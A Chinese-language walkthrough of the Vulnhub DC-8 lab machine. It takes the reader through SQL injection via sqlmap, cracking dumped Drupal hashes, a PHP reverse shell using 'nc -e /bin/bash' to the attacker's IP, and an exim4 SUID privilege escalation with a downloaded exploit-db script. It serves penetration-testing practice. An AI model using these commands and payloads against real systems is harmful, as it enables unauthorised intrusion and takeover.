Vulnhub靶場 | DC系列 | DC-8

leyilea發表於2024-07-13

DC-8

目錄

  • 環境搭建
  • 滲透測試

環境搭建

  1. 靶機映象下載地址:https://vulnhub.com/entry/dc-6,315/
  2. 需要將靶機和 kali 攻擊機放在同一個區域網裡;
  3. 本實驗kali 的 IP 地址:192.168.10.146。

滲透測試

使用 nmap 掃描 192.168.10.0/24 網段存活主機

┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

經判斷,目標主機IP地址為192.168.10.154。

掃描開放的服務。

┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.154

經測試,這裡是存在sql注入的,並且是數字型注入。

http://192.168.10.154/?nid=2-1

http://192.168.10.154/?nid=1 order by 1  // 只有一個欄位

直接上sqlmap

// 獲取庫
sqlmap -u "http://192.168.10.154/?nid=1" -p nid --dbs

// 獲取表
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db --tables

// 獲取列
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db -T users --columns

// 獲取資料
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db -T users -C name,pass
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 
| john  | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF 

使用john工具對密碼進行解密

┌──(root💀kali)-[~/桌面]
└─# vim a.txt   // 將密文放入檔案

┌──(root💀kali)-[~/桌面]
└─# john a.txt   // 開始解密

解出john的密碼為 turtle。

進行後臺目錄掃描。

http://192.168.10.154:80/user/是一個登入頁。

輸入剛才破解出的密碼登入,可以登入成功。

尋找網站漏洞。在Contact US — Webform — Form setting處存在遠端程式碼執行。

寫入程式碼之後,隨意提交些內容

寫入的程式碼會執行。

寫入建立反彈shell的程式碼。

<?php 
system("nc -e /bin/bash 192.168.10.146 4444");
?>

成功獲取到反彈shell。

開始提權

查詢帶suid的檔案

發現 exim4帶有suid許可權。

  • Exim是一個MTA(Mail Transfer Agent,郵件傳輸代理)伺服器軟體,該軟體基於GPL協議開發,是一款開源軟體。

搜尋exim 相關的exp

┌──(root💀kali)-[~/桌面]
└─# searchsploit exim 

檢視指令碼使用方式:一共兩種使用方式

將指令碼複製到kali網站根目錄

┌──(root💀kali)-[~/桌面]
└─# cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

然後再目標主機上,進入tmp目錄,將46996.sh下載下來。

wget http://192.168.10.146/46996.sh

直接按用法的方式執行,提示Permission denied,需要新增許可權。

再次執行:

www-data@dc-8:/tmp$ ./46996.sh -m setuid
www-data@dc-8:/tmp$ ./46996.sh -m netcat

提示:bash: ./46996.sh: /bin/bash^M: bad interpreter: No such file or directory

/bin/bash^M這裡看似多了一個^M

使用vi 檢視下該指令碼,可以發現,每一行後都有一個^M

www-data@dc-8:/tmp$ vi 46996.sh

📌在Windows下每一行結尾是\n\r,而Linux下則是\n,所以才會有 多出來的\r。
這就是說,把一個檔案從一種系統移到另一種系統,就有換行符的麻煩。如:用 vi 來嘗試編輯一個採用 MS-DOS 格式的檔案,你將會發現每一行的末尾有個 ^M 字元。(^M 就是 )。
set ff=unix ,就是告訴 vi 編輯器,使用unix換行符
set ff=dos ,就是告訴 vi 編輯器,使用dos換行符

在末行模式下輸入set ff=unix。然後再重新下載。

新增許可權,

www-data@dc-8:/tmp$ chmod 777 46996.sh

使用第一個方式提權失敗~

./46996.sh -m setuid

./46996.sh -m netcat

順利達到flag。

參考連結:

  • https://blog.csdn.net/weixin_45744814/article/details/120113301
  • https://blog.csdn.net/chixiguadelaoye/article/details/105156242

相關文章